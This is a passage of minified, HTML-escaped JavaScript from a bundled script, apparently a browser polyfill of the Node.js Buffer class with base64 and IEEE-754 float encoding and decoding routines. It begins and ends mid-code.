s===2?(i=Wu[e.charCodeAt(t)]&lt;&lt;2|Wu[e.charCodeAt(t+1)]&gt;&gt;4,o[c++]=i&amp;255):s===1&amp;&amp;(i=Wu[e.charCodeAt(t)]&lt;&lt;10|Wu[e.charCodeAt(t+1)]&lt;&lt;4|Wu[e.charCodeAt(t+2)]&gt;&gt;2,o[c++]=i&gt;&gt;8&amp;255,o[c++]=i&amp;255),o}function cIe(e){return Pd[e&gt;&gt;18&amp;63]+Pd[e&gt;&gt;12&amp;63]+Pd[e&gt;&gt;6&amp;63]+Pd[e&amp;63]}function uIe(e,t,r){for(var n,i=[],s=t;s&lt;r;s+=3)n=(e[s]&lt;&lt;16)+(e[s+1]&lt;&lt;8)+e[s+2],i.push(cIe(n));return i.join(&quot;&quot;)}function fP(e){PB||GG();for(var t,r=e.length,n=r%3,i=&quot;&quot;,s=[],o=16383,l=0,c=r-n;l&lt;c;l+=o)s.push(uIe(e,l,l+o&gt;c?c:l+o));return n===1?(t=e[r-1],i+=Pd[t&gt;&gt;2],i+=Pd[t&lt;&lt;4&amp;63],i+=&quot;==&quot;):n===2&amp;&amp;(t=(e[r-2]&lt;&lt;8)+e[r-1],i+=Pd[t&gt;&gt;10],i+=Pd[t&gt;&gt;4&amp;63],i+=Pd[t&lt;&lt;2&amp;63],i+=&quot;=&quot;),s.push(i),s.join(&quot;&quot;)}function pE(e,t,r,n,i){var s,o,l=i*8-n-1,c=(1&lt;&lt;l)-1,d=c&gt;&gt;1,u=-7,h=r?i-1:0,p=r?-1:1,A=e[t+h];for(h+=p,s=A&amp;(1&lt;&lt;-u)-1,A&gt;&gt;=-u,u+=l;u&gt;0;s=s*256+e[t+h],h+=p,u-=8);for(o=s&amp;(1&lt;&lt;-u)-1,s&gt;&gt;=-u,u+=n;u&gt;0;o=o*256+e[t+h],h+=p,u-=8);if(s===0)s=1-d;else{if(s===c)return o?NaN:(A?-1:1)*(1/0);o=o+Math.pow(2,n),s=s-d}return(A?-1:1)*o*Math.pow(2,s-n)}function VG(e,t,r,n,i,s){var o,l,c,d=s*8-i-1,u=(1&lt;&lt;d)-1,h=u&gt;&gt;1,p=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,A=n?0:s-1,y=n?1:-1,v=t&lt;0||t===0&amp;&amp;1/t&lt;0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(l=isNaN(t)?1:0,o=u):(o=Math.floor(Math.log(t)/Math.LN2),t*(c=Math.pow(2,-o))&lt;1&amp;&amp;(o--,c*=2),o+h&gt;=1?t+=p/c:t+=p*Math.pow(2,1-h),t*c&gt;=2&amp;&amp;(o++,c/=2),o+h&gt;=u?(l=0,o=u):o+h&gt;=1?(l=(t*c-1)*Math.pow(2,i),o=o+h):(l=t*Math.pow(2,h-1)*Math.pow(2,i),o=0));i&gt;=8;e[r+A]=l&amp;255,A+=y,l/=256,i-=8);for(o=o&lt;&lt;i|l,d+=i;d&gt;0;e[r+A]=o&amp;255,A+=y,o/=256,d-=8);e[r+A-y]|=v*128}var dIe={}.toString,WG=Array.isArray||function(e){return dIe.call(e)==&quot;[object Array]&quot;};var KG=50;kt.TYPED_ARRAY_SUPPORT=Cg.TYPED_ARRAY_SUPPORT!==void 0?Cg.TYPED_ARRAY_SUPPORT:!0;var fIe=Qw();function Qw(){return kt.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function Hf(e,t){if(Qw()&lt;t)throw new RangeError(&quot;Invalid typed array length&quot;);return kt.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t),e.__proto__=kt.prototype):(e===null&amp;&amp;(e=new kt(t)),e.length=t),e}function kt(e,t,r){if(!kt.TYPED_ARRAY_SUPPORT&amp;&amp;!(this instanceof kt))return new kt(e,t,r);if(typeof e==&quot;number&quot;){if(typeof t==&quot;string&quot;)throw new Error(&quot;If encoding is specified then the first argument must be a string&quot;);return QB(this,e)}return YG(this,e,t,r)}kt.poolSize=8192;kt._augment=function(e){return e.__proto__=kt.prototype,e};function YG(e,t,r,n){if(typeof t==&quot;number&quot;)throw new TypeError(&#039;&quot;value&quot; argument must not be a number&#039;);return typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t instanceof ArrayBuffer?pIe(e,t,r,n):typeof t==&quot;string&quot;?mIe(e,t,r):gIe(e,t)}kt.from=function(e,t,r){return YG(null,e,t,r)};kt.TYPED_ARRAY_SUPPORT&amp;&amp;(kt.prototype.__proto__=Uint8Array.prototype,kt.__proto__=Uint8Array,typeof Symbol&lt;&quot;u&quot;&amp;&amp;Symbol.species&amp;&amp;kt[Symbol.species]);function ZG(e){if(typeof e!=&quot;number&quot;)throw new TypeError(&#039;&quot;size&quot; argument must be a number&#039;);if(e&lt;0)throw new RangeError(&#039;&quot;size&quot; argument must not be negative&#039;)}function hIe(e,t,r,n){return ZG(t),t&lt;=0?Hf(e,t):r!==void 0?typeof n==&quot;string&quot;?Hf(e,t).fill(r,n):Hf(e,t).fill(r):Hf(e,t)}kt.alloc=function(e,t,r){return hIe(null,e,t,r)};function QB(e,t){if(ZG(t),e=Hf(e,t&lt;0?0:FB(t)|0),!kt.TYPED_ARRAY_SUPPORT)for(var r=0;r&lt;t;++r)e[r]=0;return e}kt.allocUnsafe=function(e){return QB(null,e)};kt.allocUnsafeSlow=function(e){return QB(null,e)};function mIe(e,t,r){if((typeof r!=&quot;string&quot;||r===&quot;&quot;)&amp;&amp;(r=&quot;utf8&quot;),!kt.isEncoding(r))throw new TypeError(&#039;&quot;encoding&quot; must be a valid string encoding&#039;);var n=JG(t,r)|0;e=Hf(e,n);var i=e.write(t,r);return i!==n&amp;&amp;(e=e.slice(0,i)),e}function HN(e,t){var r=t.length&lt;0?0:FB(t.length)|0;e=Hf(e,r);for(var n=0;n&lt;r;n+=1)e[n]=t[n]&amp;255;return e}function pIe(e,t,r,n){if(t.byteLength,r&lt;0||t.byteLength&lt;r)throw new RangeError(&quot;&#039;offset&#039; is out of bounds&quot;);if(t.byteLength&lt;r+(n||0))throw new RangeError(&quot;&#039;length&#039; is out of bounds&quot;);return r===void 0&amp;&amp;n===void 0?t=new Uint8Array(t):n===void 0?t=new Uint8Array(t,r):t=new Uint8Array(t,r,n),kt.TYPED_ARRAY_SUPPORT?(e=t,e.__proto__=kt.prototype):e=HN(e,t),e}function gIe(e,t){if(Jd(t)){var r=FB(t.length)|0;return e=Hf(e,r),e.length===0||t.copy(e,0,0,r),e}if(t){if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t.buffer instanceof ArrayBuffer||&quot;length&quot;in t)return typeof t.length!=&quot;number&quot;||QIe(t.length)?Hf(e,0):HN(e,t);if(t.type===&quot;Buffer&quot;&amp;&amp;WG(t.data))return HN(e,t.data)}throw new TypeError(&quot;First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.&quot;)}function FB(e){if(e&gt;=Qw())throw new RangeError(&quot;Attempt to allocate Buffer larger than maximum size: 0x&quot;+Qw().toString(16)+&quot; bytes&quot;);return e|0}function AIe(e){return+e!=e&amp;&amp;(e=0),kt.alloc(+e)}kt.isBuffer=tg;function Jd(e){return!!(e!=null&amp;&amp;e._isBuffer)}kt.compare=function(t,r){if(!Jd(t)||!Jd(r))throw new TypeError(&quot;Arguments must be Buffers&quot;);if(t===r)return 0;for(var n=t.length,i=r.length,s=0,o=Math.min(n,i);s&lt;o;++s)if(t[s]!==r[s]){n=t[s],i=r[s];break}return n&lt;i?-1:i&lt;n?1:0};kt.isEncoding=function(t){switch(String(t).toLowerCase()){case&quot;hex&quot;:case&quot;utf8&quot;:case&quot;utf-8&quot;:case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:case&quot;base64&quot;:case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return!0;default:return!1}};kt.concat=function(t,r){if(!WG(t))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);if(t.length===0)return kt.alloc(0);var n;if(r===void 0)for(r=0,n=0;n&lt;t.length;++n)r+=t[n].length;var i=kt.allocUnsafe(r),s=0;for(n=0;n&lt;t.length;++n){var o=t[n];if(!Jd(o))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);o.copy(i,s),s+=o.length}return i};function JG(e,t){if(Jd(e))return e.length;if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;typeof ArrayBuffer.isView==&quot;function&quot;&amp;&amp;(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;typeof e!=&quot;string&quot;&amp;&amp;(e=&quot;&quot;+e);var r=e.length;if(r===0)return 0;for(var n=!1;;)switch(t){case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:return r;case&quot;utf8&quot;:case&quot;utf-8&quot;:case void 0:return Fw(e).length;case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return r*2;case&quot;hex&quot;:return r&gt;&gt;&gt;1;case&quot;base64&quot;:return aV(e).length;default:if(n)return Fw(e).length;t=(&quot;&quot;+t).toLowerCase(),n=!0}}kt.byteLength=JG;function xIe(e,t,r){var n=!1;if((t===void 0||t&lt;0)&amp;&amp;(t=0),t&gt;this.length||((r===void 0||r&gt;this.length)&amp;&amp;(r=this.length),r&lt;=0)||(r&gt;&gt;&gt;=0,t&gt;&gt;&gt;=0,r&lt;=t))return&quot;&quot;;for(e||(e=&quot;utf8&quot;);;)switch(e){case&quot;hex&quot;:return SIe(this,t,r);case&quot;utf8&quot;:case&quot;utf-8&quot;:return tV(this,t,r);case&quot;ascii&quot;:return jIe(this,t,r);case&quot;latin1&quot;:case&quot;binary&quot;:return NIe(this,t,r);case&quot;base64&quot;:return CIe(this,t,r);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return BIe(this,t,r);default:if(n)throw new TypeError(&quot;Unknown encoding: &quot;+e);e=(e+&quot;&quot;).toLowerCase(),n=!0}}kt.prototype._isBuffer=!0;function eg(e,t,r){var n=e[t];e[t]=e[r],e[r]=n}kt.prototype.swap16=function(){var t=this.length;if(t%2!==0)throw new RangeError(&quot;Buffer size must be a multiple of 16-bits&quot;);for(var r=0;r&lt;t;r+=2)eg(this,r,r+1);return this};kt.prototype.swap32=function(){var t=this.length;if(t%4!==0)throw new RangeError(&quot;Buffer size must be a multiple of 32-bits&quot;);for(var r=0;r&lt;t;r+=4)eg(this,r,r+3),eg(this,r+1,r+2);return this};kt.prototype.swap64=function(){var t=this.length;if(t%8!==0)throw new RangeError(&quot;Buffer size must be a multiple of 64-bits&quot;);for(var r=0;r&lt;t;r+=8)eg(this,r,r+7),eg(this,r+1,r+6),eg(this,r+2,r+5),eg(this,r+3,r+4);return this};kt.prototype.toString=function(){var t=this.length|0;return t===0?&quot;&quot;:arguments.length===0?tV(this,0,t):xIe.apply(this,arguments)};kt.prototype.equals=function(t){if(!Jd(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);return this===t?!0:kt.compare(this,t)===0};kt.prototype.inspect=function(){var t=&quot;&quot;,r=KG;return this.length&gt;0&amp;&amp;(t=this.toString(&quot;hex&quot;,0,r).match(/.{2}/g).join(&quot; &quot;),this.length&gt;r&amp;&amp;(t+=&quot; ... &quot;)),&quot;&lt;Buffer &quot;+t+&quot;&gt;&quot;};kt.prototype.compare=function(t,r,n,i,s){if(!Jd(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);if(r===void 0&amp;&amp;(r=0),n===void 0&amp;&amp;(n=t?t.length:0),i===void 0&amp;&amp;(i=0),s===void 0&amp;&amp;(s=this.length),r&lt;0||n&gt;t.length||i&lt;0||s&gt;this.length)throw new RangeError(&quot;out of range index&quot;);if(i&gt;=s&amp;&amp;r&gt;=n)return 0;if(i&gt;=s)return-1;if(r&gt;=n)return 1;if(r&gt;&gt;&gt;=0,n&gt;&gt;&gt;=0,i&gt;&gt;&gt;=0,s&gt;&gt;&gt;=0,this===t)return 0;for(var o=s-i,l=n-r,c=Math.min(o,l),d=this.slice(i,s),u=t.slice(r,n),h=0;h&lt;c;++h)if(d[h]!==u[h]){o=d[h],l=u[h];break}return o&lt;l?-1:l&lt;o?1:0};function XG(e,t,r,n,i){if(e.length===0)return-1;if(typeof r==&quot;string&quot;?(n=r,r=0):r&gt;2147483647?r=2147483647:r&lt;-2147483648&amp;&amp;(r=-2147483648),r=+r,isNaN(r)&amp;&amp;(r=i?0:e.length-1),r&lt;0&amp;&amp;(r=e.length+r),r&gt;=e.length){if(i)return-1;r=e.length-1}else if(r&lt;0)if(i)r=0;else return-1;if(typeof t==&quot;string&quot;&amp;&amp;(t=kt.from(t,n)),Jd(t))return t.length===0?-1:hP(e,t,r,n,i);if(typeof t==&quot;number&quot;)return t=t&amp;255,kt.TYPED_ARRAY_SUPPORT&amp;&amp;typeof Uint8Array.prototype.indexOf==&quot;function&quot;?i?Uint8Array.prototype.indexOf.call(e,t,r):Uint8Array.prototype.lastIndexOf.call(e,t,r):hP(e,[t],r,n,i);throw new TypeError(&quot;val must be string, number or Buffer&quot;)}function hP(e,t,r,n,i){var s=1,o=e.length,l=t.length;if(n!==void 0&amp;&amp;(n=String(n).toLowerCase(),n===&quot;ucs2&quot;||n===&quot;ucs-2&quot;||n===&quot;utf16le&quot;||n===&quot;utf-16le&quot;)){if(e.length&lt;2||t.length&lt;2)return-1;s=2,o/=2,l/=2,r/=2}function c(A,y){return s===1?A[y]:A.readUInt16BE(y*s)}var d;if(i){var u=-1;for(d=r;d&lt;o;d++)if(c(e,d)===c(t,u===-1?0:d-u)){if(u===-1&amp;&amp;(u=d),d-u+1===l)return u*s}else u!==-1&amp;&amp;(d-=d-u),u=-1}else for(r+l&gt;o&amp;&amp;(r=o-l),d=r;d&gt;=0;d--){for(var h=!0,p=0;p&lt;l;p++)if(c(e,d+p)!==c(t,p)){h=!1;break}if(h)return d}return-1}kt.prototype.includes=function(t,r,n){return this.indexOf(t,r,n)!==-1};kt.prototype.indexOf=function(t,r,n){return XG(this,t,r,n,!0)};kt.prototype.lastIndexOf=function(t,r,n){return XG(this,t,r,n,!1)};function vIe(e,t,r,n){r=Number(r)||0;var i=e.length-r;n?(n=Number(n),n&gt;i&amp;&amp;(n=i)):n=i;var s=t.length;if(s%2!==0)throw new TypeError(&quot;Invalid hex string&quot;);n&gt;s/2&amp;&amp;(n=s/2);for(var o=0;o&lt;n;++o){var l=parseInt(t.substr(o*2,2),16);if(isNaN(l))return o;e[r+o]=l}return o}function yIe(e,t,r,n){return xE(Fw(t,e.length-r),e,r,n)}function eV(e,t,r,n){return xE(RIe(t),e,r,n)}function bIe(e,t,r,n){return eV(e,t,r,n)}function wIe(e,t,r,n){return xE(aV(t),e,r,n)}function EIe(e,t,r,n){return xE(PIe(t,e.length-r),e,r,n)}kt.prototype.write=function(t,r,n,i){if(r===void 0)i=&quot;utf8&quot;,n=this.length,r=0;else if(n===void 0&amp;&amp;typeof r==&quot;string&quot;)i=r,n=this.length,r=0;else if(isFinite(r))r=r|0,isFinite(n)?(n=n|0,i===void 0&amp;&amp;(i=&quot;utf8&quot;)):(i=n,n=void 0);else throw new Error(&quot;Buffer.write(string, encoding, offset[, length]) is no longer supported&quot;);var s=this.length-r;if((n===void 0||n&gt;s)&amp;&amp;(n=s),t.length&gt;0&amp;&amp;(n&lt;0||r&lt;0)||r&gt;this.length)throw new RangeError(&quot;Attempt to write outside buffer bounds&quot;);i||(i=&quot;utf8&quot;);for(var o=!1;;)switch(i){case&quot;hex&quot;:return vIe(this,t,r,n);case&quot;utf8&quot;:case&quot;utf-8&quot;:return yIe(this,t,r,n);case&quot;ascii&quot;:return eV(this,t,r,n);case&quot;latin1&quot;:case&quot;binary&quot;:return bIe(this,t,r,n);case&quot;base64&quot;:return wIe(this,t,r,n);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return EIe(this,t,r,n);default:if(o)throw new TypeError(&quot;Unknown encoding: &quot;+i);i=(&quot;&quot;+i).toLowerCase(),o=!0}};kt.prototype.toJSON=function(){return{type:&quot;Buffer&quot;,data:Array.prototype.slice.call(this._arr||this,0)}};function CIe(e,t,r){return t===0&amp;&amp;r===e.length?fP(e):fP(e.slice(t,r))}function tV(e,t,r){r=Math.min(e.length,r);for(var n=[],i=t;i&lt;r;){var s=e[i],o=null,l=s&gt;239?4:s&gt;223?3:s&gt;191?2:1;if(i+l&lt;=r){var c,d,u,h;switch(l){case 1:s&lt;128&amp;&amp;(o=s);break;case 2:c=e[i+1],(c&amp;192)===128&amp;&amp;(h=(s&amp;31)&lt;&lt;6|c&amp;63,h&gt;127&amp;&amp;(o=h));break;case 3:c=e[i+1],d=e[i+2],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;12|(c&amp;63)&lt;&lt;6|d&amp;63,h&gt;2047&amp;&amp;(h&lt;55296||h&gt;57343)&amp;&amp;(o=h));break;case 4:c=e[i+1],d=e[i+2],u=e[i+3],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(u&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;18|(c&amp;63)&lt;&lt;12|(d&amp;63)&lt;&lt;6|u&amp;63,h&gt;65535&amp;&amp;h&lt;1114112&amp;&amp;(o=h))}}o===null?(o=65533,l=1):o&gt;65535&amp;&amp;(o-=65536,n.push(o&gt;&gt;&gt;10&amp;1023|55296),o=56320|o&amp;1023),n.push(o),i+=l}return IIe(n)}var mP=4096;function IIe(e){var t=e.length;if(t&lt;=mP)return String.fromCharCode.apply(String,e);for(var r=&quot;&quot;,n=0;n&lt;t;)r+=String.fromCharCode.apply(String,e.slice(n,n+=mP));return r}function jIe(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]&amp;127);return n}function NIe(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]);return n}function SIe(e,t,r){var n=e.length;(!t||t&lt;0)&amp;&amp;(t=0),(!r||r&lt;0||r&gt;n)&amp;&amp;(r=n);for(var i=&quot;&quot;,s=t;s&lt;r;++s)i+=TIe(e[s]);return i}function BIe(e,t,r){for(var n=e.slice(t,r),i=&quot;&quot;,s=0;s&lt;n.length;s+=2)i+=String.fromCharCode(n[s]+n[s+1]*256);return i}kt.prototype.slice=function(t,r){var n=this.length;t=~~t,r=r===void 0?n:~~r,t&lt;0?(t+=n,t&lt;0&amp;&amp;(t=0)):t&gt;n&amp;&amp;(t=n),r&lt;0?(r+=n,r&lt;0&amp;&amp;(r=0)):r&gt;n&amp;&amp;(r=n),r&lt;t&amp;&amp;(r=t);var i;if(kt.TYPED_ARRAY_SUPPORT)i=this.subarray(t,r),i.__proto__=kt.prototype;else{var s=r-t;i=new kt(s,void 0);for(var o=0;o&lt;s;++o)i[o]=this[o+t]}return i};function Oo(e,t,r){if(e%1!==0||e&lt;0)throw new RangeError(&quot;offset is not uint&quot;);if(e+t&gt;r)throw new RangeError(&quot;Trying to access beyond buffer length&quot;)}kt.prototype.readUIntLE=function(t,r,n){t=t|0,r=r|0,n||Oo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return i};kt.prototype.readUIntBE=function(t,r,n){t=t|0,r=r|0,n||Oo(t,r,this.length);for(var i=this[t+--r],s=1;r&gt;0&amp;&amp;(s*=256);)i+=this[t+--r]*s;return i};kt.prototype.readUInt8=function(t,r){return r||Oo(t,1,this.length),this[t]};kt.prototype.readUInt16LE=function(t,r){return r||Oo(t,2,this.length),this[t]|this[t+1]&lt;&lt;8};kt.prototype.readUInt16BE=function(t,r){return r||Oo(t,2,this.length),this[t]&lt;&lt;8|this[t+1]};kt.prototype.readUInt32LE=function(t,r){return r||Oo(t,4,this.length),(this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16)+this[t+3]*16777216};kt.prototype.readUInt32BE=function(t,r){return r||Oo(t,4,this.length),this[t]*16777216+(this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3])};kt.prototype.readIntLE=function(t,r,n){t=t|0,r=r|0,n||Oo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return s*=128,i&gt;=s&amp;&amp;(i-=Math.pow(2,8*r)),i};kt.prototype.readIntBE=function(t,r,n){t=t|0,r=r|0,n||Oo(t,r,this.length);for(var i=r,s=1,o=this[t+--i];i&gt;0&amp;&amp;(s*=256);)o+=this[t+--i]*s;return s*=128,o&gt;=s&amp;&amp;(o-=Math.pow(2,8*r)),o};kt.prototype.readInt8=function(t,r){return r||Oo(t,1,this.length),this[t]&amp;128?(255-this[t]+1)*-1:this[t]};kt.prototype.readInt16LE=function(t,r){r||Oo(t,2,this.length);var n=this[t]|this[t+1]&lt;&lt;8;return n&amp;32768?n|4294901760:n};kt.prototype.readInt16BE=function(t,r){r||Oo(t,2,this.length);var n=this[t+1]|this[t]&lt;&lt;8;return n&amp;32768?n|4294901760:n};kt.prototype.readInt32LE=function(t,r){return r||Oo(t,4,this.length),this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16|this[t+3]&lt;&lt;24};kt.prototype.readInt32BE=function(t,r){return r||Oo(t,4,this.length),this[t]&lt;&lt;24|this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3]};kt.prototype.readFloatLE=function(t,r){return r||Oo(t,4,this.length),pE(this,t,!0,23,4)};kt.prototype.readFloatBE=function(t,r){return r||Oo(t,4,this.length),pE(this,t,!1,23,4)};kt.prototype.readDoubleLE=function(t,r){return r||Oo(t,8,this.length),pE(this,t,!0,52,8)};kt.prototype.readDoubleBE=function(t,r){return r||Oo(t,8,this.length),pE(this,t,!1,52,8)};function _c(e,t,r,n,i,s){if(!Jd(e))throw new TypeError(&#039;&quot;buffer&quot; argument must be a Buffer instance&#039;);if(t&gt;i||t&lt;s)throw new RangeError(&#039;&quot;value&quot; argument is out of bounds&#039;);if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;)}kt.prototype.writeUIntLE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;_c(this,t,r,n,s,0)}var o=1,l=0;for(this[r]=t&amp;255;++l&lt;n&amp;&amp;(o*=256);)this[r+l]=t/o&amp;255;return r+n};kt.prototype.writeUIntBE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;_c(this,t,r,n,s,0)}var o=n-1,l=1;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)this[r+o]=t/l&amp;255;return r+n};kt.prototype.writeUInt8=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,1,255,0),kt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),this[r]=t&amp;255,r+1};function gE(e,t,r,n){t&lt;0&amp;&amp;(t=65535+t+1);for(var i=0,s=Math.min(e.length-r,2);i&lt;s;++i)e[r+i]=(t&amp;255&lt;&lt;8*(n?i:1-i))&gt;&gt;&gt;(n?i:1-i)*8}kt.prototype.writeUInt16LE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,2,65535,0),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):gE(this,t,r,!0),r+2};kt.prototype.writeUInt16BE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,2,65535,0),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):gE(this,t,r,!1),r+2};function AE(e,t,r,n){t&lt;0&amp;&amp;(t=4294967295+t+1);for(var i=0,s=Math.min(e.length-r,4);i&lt;s;++i)e[r+i]=t&gt;&gt;&gt;(n?i:3-i)*8&amp;255}kt.prototype.writeUInt32LE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,4,4294967295,0),kt.TYPED_ARRAY_SUPPORT?(this[r+3]=t&gt;&gt;&gt;24,this[r+2]=t&gt;&gt;&gt;16,this[r+1]=t&gt;&gt;&gt;8,this[r]=t&amp;255):AE(this,t,r,!0),r+4};kt.prototype.writeUInt32BE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,4,4294967295,0),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):AE(this,t,r,!1),r+4};kt.prototype.writeIntLE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);_c(this,t,r,n,s-1,-s)}var o=0,l=1,c=0;for(this[r]=t&amp;255;++o&lt;n&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o-1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};kt.prototype.writeIntBE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);_c(this,t,r,n,s-1,-s)}var o=n-1,l=1,c=0;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o+1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};kt.prototype.writeInt8=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,1,127,-128),kt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),t&lt;0&amp;&amp;(t=255+t+1),this[r]=t&amp;255,r+1};kt.prototype.writeInt16LE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,2,32767,-32768),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):gE(this,t,r,!0),r+2};kt.prototype.writeInt16BE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,2,32767,-32768),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):gE(this,t,r,!1),r+2};kt.prototype.writeInt32LE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,4,2147483647,-2147483648),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8,this[r+2]=t&gt;&gt;&gt;16,this[r+3]=t&gt;&gt;&gt;24):AE(this,t,r,!0),r+4};kt.prototype.writeInt32BE=function(t,r,n){return t=+t,r=r|0,n||_c(this,t,r,4,2147483647,-2147483648),t&lt;0&amp;&amp;(t=4294967295+t+1),kt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):AE(this,t,r,!1),r+4};function rV(e,t,r,n,i,s){if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;);if(r&lt;0)throw new RangeError(&quot;Index out of range&quot;)}function nV(e,t,r,n,i){return i||rV(e,t,r,4),VG(e,t,r,n,23,4),r+4}kt.prototype.writeFloatLE=function(t,r,n){return nV(this,t,r,!0,n)};kt.prototype.writeFloatBE=function(t,r,n){return nV(this,t,r,!1,n)};function iV(e,t,r,n,i){return i||rV(e,t,r,8),VG(e,t,r,n,52,8),r+8}kt.prototype.writeDoubleLE=function(t,r,n){return iV(this,t,r,!0,n)};kt.prototype.writeDoubleBE=function(t,r,n){return iV(this,t,r,!1,n)};kt.prototype.copy=function(t,r,n,i){if(n||(n=0),!i&amp;&amp;i!==0&amp;&amp;(i=this.length),r&gt;=t.length&amp;&amp;(r=t.length),r||(r=0),i&gt;0&amp;&amp;i&lt;n&amp;&amp;(i=n),i===n||t.length===0||this.length===0)return 0;if(r&lt;0)throw new RangeError(&quot;targetStart out of bounds&quot;);if(n&lt;0||n&gt;=this.length)throw new RangeError(&quot;sourceStart out of bounds&quot;);if(i&lt;0)throw new RangeError(&quot;sourceEnd out of bounds&quot;);i&gt;this.length&amp;&amp;(i=this.length),t.length-r&lt;i-n&amp;&amp;(i=t.length-r+n);var s=i-n,o;if(this===t&amp;&amp;n&lt;r&amp;&amp;r&lt;i)for(o=s-1;o&gt;=0;--o)t[o+r]=this[o+n];else if(s&lt;1e3||!kt.TYPED_ARRAY_SUPPORT)for(o=0;o&lt;s;++o)t[o+r]=this[o+n];else Uint8Array.prototype.set.call(t,this.subarray(n,n+s),r);return s};kt.prototype.fill=function(t,r,n,i){if(typeof t==&quot;string&quot;){if(typeof r==&quot;string&quot;?(i=r,r=0,n=this.length):typeof n==&quot;string&quot;&amp;&amp;(i=n,n=this.length),t.length===1){var s=t.charCodeAt(0);s&lt;256&amp;&amp;(t=s)}if(i!==void 0&amp;&amp;typeof i!=&quot;string&quot;)throw new TypeError(&quot;encoding must be a string&quot;);if(typeof i==&quot;string&quot;&amp;&amp;!kt.isEncoding(i))throw new TypeError(&quot;Unknown encoding: &quot;+i)}else typeof t==&quot;number&quot;&amp;&amp;(t=t&amp;255);if(r&lt;0||this.length&lt;r||this.length&lt;n)throw new RangeError(&quot;Out of range index&quot;);if(n&lt;=r)return this;r=r&gt;&gt;&gt;0,n=n===void 0?this.length:n&gt;&gt;&gt;0,t||(t=0);var o;if(typeof t==&quot;number&quot;)for(o=r;o&lt;n;++o)this[o]=t;else{var l=Jd(t)?t:Fw(new 